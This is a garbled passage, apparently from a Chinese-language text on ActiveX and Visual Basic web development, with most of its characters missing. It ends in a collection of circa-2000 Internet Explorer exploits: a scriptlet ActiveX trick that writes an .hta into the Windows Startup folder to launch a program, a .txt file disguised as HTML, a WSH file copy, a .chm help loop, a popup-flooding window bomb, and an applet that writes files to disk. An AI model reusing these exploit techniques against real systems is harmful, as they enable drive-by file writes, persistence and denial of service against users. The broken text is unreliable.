WEBWEBActiveXCode SigningVC5.0http//www.microsoft.com/intdev/signcode/

WEBActiveXCABCabinetVC5.0ActiveXHTMLOBJECTActiveXVBScriptJScriptActiveXInternet ExplorerInternet ExplorerActiveX ScriptingActiveXMSChart.OCX"

ID=chart1 WIDTH=400 HEIGHT=200

ALIGN=center>

Object IDActiveX DLLWEBMyClassLogInLogIn

7.3. Visual Basic 6.0

Microsoft19989Visual Basic 6.0BetaVB 6.0VB5.0Internet Explorer Document Object ModelDOM

Dynamic HTML

VBDHTML

WebClasses

WEBASPWebClassASPVisual Basic IDE ISAPI

8.

InternetWEBActiveXMicrosoftWindows NTInternet Information ServerActive Server PagesMicrosoft FrontPageInternet ExplorerInternetActiveX

1. Visual C++[]David J. Kruglinski

2. ActiveX[]Eric TallMark Ginsburg

3. Visual Basic 6.0You Wont Believe What Just Hit the WebJoshua TrupinMicrosoft Interactive Network DeveloperMIND19988

4. Introduction to ActiveX ControlsMicrosoft Corp.MSDN19988

5. Dynamic HTML and the Big PictureJohn SwensonMSDN Online199711

6. A Brief Preview of the Visual Basic 5.0 Development EnvironmentMichael OteyWindows NT Magazine 19974

7. http//www.microsoft.com/MicrosoftMSDNMSJ

8. http//www.ActiveX.comActiveX

9. http//www.Active-X.comActiveX

10. http//www.WinntMag.comWindows NT Magazine

41IE

2000222 by Juan Carlos Garcia Cuartango

Internet Explorer 4.x and 5.x

IE MS Active SetupIE 4.x5.xInternet

MicrosoftMicrosoft

MicrosoftWindowsJuanMicrosoftMicrosoft

bugpatch

IE5.0

Internet Explorer 5.0ActiveX Control "Object for constructing type libraries for scriptlets"HTMLwebemail!!!

htmIE5ActiveXthe trojan,---Ken

scr.Reset();

scr.Path="C:\\windows\\Start Menu\\Programs\\StartUp\\allin.hta";

scr.Doc="alert(`Written

by Ken,Visit http://allin.8m.com Please`)

;wsh.Run(`sol.exe`);";

scr.write();

C:\windows\Start Menu\Programs\StartUpallin.hta(Written by Ken http://allin.8m.com)sol.exe()

IE5ActiveX Scripting

internetActive XDisableDisable

42IE

IE*.TXTHTML,.

HTML,TXT,,REDCRACK,,,TXT,,,HAPPY TIME.,MIME,,html,,TXT,.

,

//JS

43txt

windowswindows.txt

QQ.txtQQ.txt.

{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}HTML.txtQQ.txt.html

HTMLdWindows is configuring the systemPlase do not interrupt this process.txt

.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}.htmlhtml

23322WSCript

WScriptWindows Scripting HostWin98, /WScript.exec:\WINDOWSWindows Scripting Host

Windows Scripting Host*.vbs

Set so=CreateObject("Scripting.FileSystemObject")

so.GetFile(c:\windows\winipcfg.exe).Copy("e:\winipcfg.exe")

c:\windows\winipcfg.exeGetFileCopyeVBscriptFileSystemObjectregsvr32 scrrun.dll /u

.txt.txtWEBtxt.txt

44IE

function g()

{s=document.URL;

path=s.substr(0,s.lastIndexOf("\\"));

path=unescape(path);

window.showHelp(path+"\\chm1.chm");

setTimeout("g()",50); // if you are on a slow internet connection you must increase the delay

IE5.Xchmchm

function WindowBomb()

{ var iCounter = 0 // dummy counter while (true)

{window.open("open.htm","CRASHING"+ iCounter,"width=1,

height=1,resizable=no")

{iCounter++ }

kao~IE

45

IE/Outlook4.X-5.Xcom.ms.activeX.ActiveXComponentCNers.COM.HTM

Demo#2-IE5.5/Outlook-com.ms.activeX.

ActiveXComponent

a1=document.applets[0];

fn="CNers.COM.HTM";

doc="s1=\'\\CNers.COM.HTM\';alert(s1);document.

body.innerHTML=s1";

function f1()

{

a1.setProperty('DOC',doc);

}

function f()

{

// The ActiveX classid

cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";

a1.setCLSID(cl);

a1.createInstance();

setTimeout("a1.setProperty('Path','"+fn+"')",1000);

setTimeout("f1()",1500);

setTimeout("a1.invoke('write',VA);alert('"+fn+" ');",2000);

}

setTimeout("f()",1000)

VA = AR